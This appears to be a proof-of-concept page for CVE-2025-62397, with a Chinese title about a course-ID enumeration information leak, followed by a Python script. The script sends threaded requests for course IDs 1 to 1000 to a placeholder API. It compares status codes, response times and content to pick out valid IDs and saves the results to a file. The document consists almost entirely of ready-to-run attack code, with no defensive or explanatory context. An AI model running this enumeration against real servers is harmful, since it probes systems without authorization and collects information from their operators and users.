CVE-2025-62397: 路由器课程ID枚举信息泄露漏洞

# CVE-2025-62397 PoC - Course ID Enumeration # This PoC demonstrates how inconsistent responses can leak valid course IDs import requests import time import json from concurrent.futures import ThreadPoolExecutor TARGET_URL = "http://target-server/api/courses" TEST_IDS = range(1, 1001) # Test course IDs 1-1000 def test_course_id(course_id): """Test a single course ID and analyze response""" url = f"{TARGET_URL}/{course_id}" try: start_time = time.time() response = requests.get(url, timeout=10) elapsed = time.time() - start_time return { 'course_id': course_id, 'status_code': response.status_code, 'response_time': elapsed, 'content_length': len(response.content), 'response_contains_data': b'course' in response.content.lower() or b'id' in response.content.lower() } except requests.exceptions.RequestException as e: return {'course_id': course_id, 'error': str(e)} def analyze_responses(responses): """Analyze responses to identify valid course IDs""" # Group responses by status code status_groups = {} for resp in responses: if 'error' not in resp: status = resp['status_code'] if status not in status_groups: status_groups[status] = [] status_groups[status].append(resp) print("\n=== Response Analysis ===") for status, items in status_groups.items(): avg_time = sum(i['response_time'] for i in items) / len(items) has_data = sum(1 for i in items if i['response_contains_data']) print(f"Status {status}: {len(items)} requests, avg_time={avg_time:.3f}s, with_data={has_data}") # Identify likely valid IDs based on response patterns valid_ids = [] for resp in responses: if 'error' not in resp: # Valid course might return 200 with course data # Invalid course might return 404 with no course data if resp['status_code'] == 200 and resp['response_contains_data']: valid_ids.append(resp['course_id']) return valid_ids def main(): print(f"[*] Starting CVE-2025-62397 enumeration test") print(f"[*] Target: {TARGET_URL}") print(f"[*] Testing {len(list(TEST_IDS))} course IDs...") # Test course IDs with threading for efficiency responses = [] with ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(test_course_id, cid) for cid in TEST_IDS] for future in futures: responses.append(future.result()) # Analyze and identify valid IDs valid_ids = analyze_responses(responses) print(f"\n[+] Potentially valid course IDs found: {valid_ids}") print(f"[*] Total: {len(valid_ids)} valid courses identified") # Save results with open('cve_2025_62397_results.json', 'w') as f: json.dump({'valid_ids': valid_ids, 'all_responses': responses}, f, indent=2) print(f"[*] Results saved to cve_2025_62397_results.json") if __name__ == "__main__": main()